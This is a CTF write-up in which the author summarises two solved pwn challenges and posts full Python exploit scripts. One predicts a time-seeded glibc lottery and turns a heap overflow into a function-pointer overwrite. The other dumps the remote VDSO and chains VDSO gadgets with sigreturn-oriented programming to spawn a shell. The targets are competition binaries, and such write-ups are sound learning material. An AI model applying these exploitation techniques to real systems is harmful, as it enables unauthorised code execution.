I'm tired since I played 2 CTFs successively without sleep. So, I only leave very simple writeups.
Other members' writeups:
Although there were lots of pwn tasks, I only solved 2 tasks.*1 (Spending most time on sqlite pwn, I couldn't even check half of the pwn tasks.)
- 80% rev + 20% pwn *2
- We can win the lottery as it uses glibc rand + time
- Obvious address leak in the prize form
- Earn money by lottery, loan money more than 20 times to become a VIP member
- VIP can cause heap overflow in the edit function
- Overwrite a function pointer on the heap to win
from ptrlib import * import ctypes def accounts(): sock.sendlineafter("Input : ", "1") ids = [] while True: l = sock.recvline() if b'Menu' in l: break elif b'type :' in l: ids.append(int(sock.recvlineafter("number : "))) return ids def history(): sock.sendlineafter("Input : ", "2") def transfer(id, amount): sock.sendlineafter("Input : ", "3") sock.sendlineafter("transfer.", str(id)) sock.sendlineafter("transfer.", str(amount)) def loan(): sock.sendlineafter("Input : ", "4") def lottery(num): sock.sendlineafter("Input : ", "5") for n in num: sock.sendlineafter(": ", str(n)) def add_user(name, password): sock.sendlineafter("Input : ", "6") sock.sendlineafter("ID : ", name) if b'Password' not in sock.recv(20): return False else: sock.sendline(password) return True def login(name, password): sock.sendlineafter("Input : ", "7") sock.sendlineafter("ID : ", name) sock.sendlineafter("Password : ", password) def user(): sock.sendlineafter("Input : ", "7") def info(): sock.sendlineafter("Input : ", "1") def delete(): sock.sendlineafter("Input : ", "3") def edit(data): sock.sendlineafter("Input : ", b"2" + data) def back(): sock.sendlineafter("Input : ", "0") def vip(id, amount): sock.sendlineafter("Input : ", "8") sock.sendlineafter("transfer.", str(id)) sock.sendlineafter("transfer.", str(amount)) sock = Socket("35.200.24.227", 10002) libc = ELF("./libc-2.31.so") glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.27.so') add_user("legoshi", "pina") login("legoshi", "pina") for i in range(9): loan() user() delete() if not add_user("tao", "bill"): add_user("hal", "louis") login("hal", "louis") for i in range(9): loan() user() delete() if not add_user("tao", "bill"): add_user("fudge", "riz") login("fudge", "riz") for i in range(9): loan() glibc.srand(glibc.time(0)) num = [0 for i in range(7)] for i in range(7): while True: n = glibc.rand() % 37 + 1 if n not in num[:i]: break num[i] = n lottery(num) sock.sendafter("Name : ", "A" * 0x10) sock.sendafter("Address : ", "B" * 0x18) a = sock.recvlineafter("A" * 0x10) b = sock.recvlineafter("B" * 0x18) libc_base = u64(a) - libc.symbol("_IO_2_1_stdout_") proc_base = u64(b) - 0x35f0 logger.info("libc = " + hex(libc_base)) logger.info("proc = " + hex(proc_base)) ids = accounts()[1:] for id in ids: transfer(id, 114514) user() one_gadget = 0xe6c81 edit(b"A" * 0x38 + p64(libc_base + one_gadget)) back() vip(accounts()[-1], 0) sock.interactive()
- Simple buffer overflow in a tiny binary
- Only
syscall; leave; ret
gadget is available (cannot controll the value ofrax
) - Leak the stack address in the first round
- Overwrite the saved rbp to leak the stack
- Find the address of VDSO
- Dump VDSO of the remote machine
- Use ROP gadgets in VDSO
- No useful gadgets found by ropper, rp++, ROPgadget
- Manually found
add edx, 1; cmp rax, 0x3b9ac9ff; ja 0x7ffff7ffebda; add qword ptr [rsi], rdx; mov qword ptr [rsi + 8], rax; mov eax, dword ptr [rsp + 0xc]; test eax, eax; jne 0x7ffff7ffea92; lea rsp, [rbp - 0x20]; xor eax, eax; pop rbx; pop r12; pop r13; pop r14; pop rbp; ret;
gadget
- Increment edx > 15
- Call
SYS_read
to make eax = 15 (=SYS_sigreturn
) - Sigreturn oriented programming
VDSO leaker:
from ptrlib import * with open("vdso.remote", "rb") as f: vdso = f.read() offset = len(vdso) while True: logger.info("offset = {}".format(offset)) """ sock = Socket("localhost", 12345) delta = 0x1f61 #sock = Socket("localhost", 9999) #delta = 0x1f6e remote = False """ sock = Socket("34.85.14.159", 10004) delta = 0x1f6d remote = True addr_stage = 0x402010 rop_read = 0x401046 rop_write = 0x401059 rop_syscall = 0x00401011 payload = b'A' * 0x10 payload += p64(addr_stage) payload += p64(rop_read) sock.sendafter("Login: ", payload) addr_stack = u64(sock.recvline()[0x30:0x38]) - delta logger.info("stack = " + hex(addr_stack)) payload = b'B' * 0x10 payload += p64(addr_stack) payload += p64(rop_read) payload += b'\0' * 0x18 sock.send(payload) sock.recv() payload = b'C' * 0x10 payload += p64(addr_stage) payload += p64(rop_read) payload += b'C' * 0xf00 sock.send(payload) output = b'' try: while len(output) <= len(payload) * 2: output += sock.recv(timeout=1) except KeyboardInterrupt: sock.close() continue if remote: output = output[2:] for block in chunks(output, 8): addr = u64(block) if addr >> 40 == 0x7f and addr & 0xff == 00: addr_vdso = addr break else: sock.close() continue logger.info("vdso = " + hex(addr_vdso)) payload = b'B' * 0x10 payload += p64(addr_vdso + 0x10 + offset) payload += p64(rop_write) payload += b'\0' * 0x18 sock.send(payload) import time time.sleep(0.5) sock.recv(len(payload) * 2 + 10) vdso += sock.recv(20) with open("vdso.remote", "wb") as f: f.write(vdso) offset = len(vdso) sock.close()
Solver:
from ptrlib import * """ sock = Socket("localhost", 12345) delta = 0x1f61 #sock = Socket("localhost", 9999) #delta = 0x1f6e remote = False """ sock = Socket("34.85.14.159", 10004) delta = 0x1f6d remote = True addr_stage = 0x402010 rop_read = 0x401046 rop_syscall = 0x4010af payload = b'A' * 0x10 payload += p64(addr_stage) payload += p64(rop_read) sock.sendafter("Login: ", payload) addr_stack = u64(sock.recvline()[0x30:0x38]) - delta logger.info("stack = " + hex(addr_stack)) payload = b'B' * 0x10 payload += p64(addr_stack) payload += p64(rop_read) payload += b'\0' * 0x18 sock.send(payload) sock.recv() payload = b'C' * 0x10 payload += p64(addr_stage) payload += p64(rop_read) payload += b'C' * 0xf00 sock.send(payload) output = b'' while len(output) <= len(payload) * 2: output += sock.recv(timeout=1) if remote: output = output[2:] for block in chunks(output, 8): addr = u64(block) if addr >> 40 == 0x7f and addr & 0xff == 00: addr_vdso = addr break else: logger.warn("Bad luck") exit(1) logger.info("vdso = " + hex(addr_vdso)) rop_xor_eax_eax_pop_rbp = addr_vdso + 0x0000000000000f46 rop_add_edx_1 = addr_vdso + 0xbe0 delta = (-(0x402000 - 0xA4B0204) ^ 0xffffffffffffffff) + 1 payload = b'/bin/sh\0' payload += p64(0x402000) payload += p64(0x402020 + 0x20) for i in range(1, 10): payload += p64(rop_add_edx_1) payload += p64(0) + p64((1<<64)-1) + p64(0) + p64(0) payload += p64(0x402020 + 0x20 + i*0x30) payload += p64(rop_xor_eax_eax_pop_rbp) payload += p64(0x4021e0 - 0x10) payload += p64(rop_syscall) payload += b"AAAAAAAA" * 5 payload += flat([ 0, 0, 0, 0, 0, 0, 0, 0, 0x402000, 0, 0, 0, 0, 59, 0, 0x402000, rop_syscall, 0, 0x33 ], map=p64) payload += b'AAAAAAAA' * 4 payload += p64(0) sock.send(payload) sock.recv() sock.send("x" * 15) sock.interactive()